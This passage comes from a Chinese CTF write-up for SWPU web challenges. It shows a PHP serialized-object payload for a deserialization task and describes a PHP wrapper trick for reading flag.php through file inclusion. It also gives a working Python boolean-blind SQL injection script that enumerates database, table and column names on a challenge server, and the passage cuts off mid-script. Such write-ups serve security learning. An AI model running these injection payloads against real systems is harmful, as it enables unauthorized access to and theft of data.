</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>思路2：直接把<code>__construct</code>里赋值语句改了</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;ctf&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">wllm</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>Payload一样的<code>O:4:&quot;wllm&quot;:2:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:3:&quot;ctf&quot;;}</code></p>
<h3 id="include">include<a class="anchor" href="#include">#</a></h3>
<p><img
  src="/077813/swpu_include_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="218" height="69"
/>
</p>
<p>题目名是包含，传一下flag.php试试</p>
<p><img
  src="/077813/swpu_include_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="706" height="594"
/>
</p>
<p>只要file有值就亮源码，最后一句仍然包含了文件，伪协议读取flag.php</p>
<p><img
  src="/077813/swpu_include_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1083" height="307"
/>
</p>
<p>BASE64解码就是flag</p>
<h3 id="error">error<a class="anchor" href="#error">#</a></h3>
<p>输入测试，布尔盲注，能执行就有<code>没有提示...........</code>字符串，可以写脚本也可以直接sqlmap</p>
<p>自己写的脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl">
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://1.14.71.254:28019/index.php&#34;</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="n">cont</span> <span class="o">=</span> <span class="s2">&#34;没有提示...........&#34;</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">
</span></span><span class="line"><span class="ln">  6</span><span class="cl">
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_length</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and length(database())=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名长度为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">
</span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">db_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">            <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and substr(database(),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">            <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">            <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">            <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">                <span class="n">name</span> <span class="o">+=</span> <span class="n">j</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名为：</span><span class="si">%s</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="k">return</span> <span class="n">name</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">
</span></span><span class="line"><span class="ln"> 30</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_number</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;表的数目为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">
</span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_length</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">
</span></span><span class="line"><span class="ln"> 55</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_names</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">        <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">        <span class="n">tb_len</span> <span class="o">=</span> <span class="n">get_table_length</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">                          <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">                    <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">        <span class="n">names</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">    <span class="k">return</span> <span class="n">names</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">
</span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第</span><span class="si">%d</span><span class="s2">个表，有</span><span class="si">%d</span><span class="s2">列&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">num</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">
</span></span><span class="line"><span class="ln"> 88</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">
</span></span><span class="line"><span class="ln"> 98</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[[]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">tb_num</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">        <span class="n">cl_num</span> <span class="o">=</span> <span class="n">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">cl_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">            <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">            <span class="n">cl_len</span> <span class="o">=</span> <span class="n">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">            <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">cl_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">                <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;qwertyuiopasdfghjklzxcvbnm_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">                    <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln">108</span><span class="cl">                              <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">                    <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                    <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
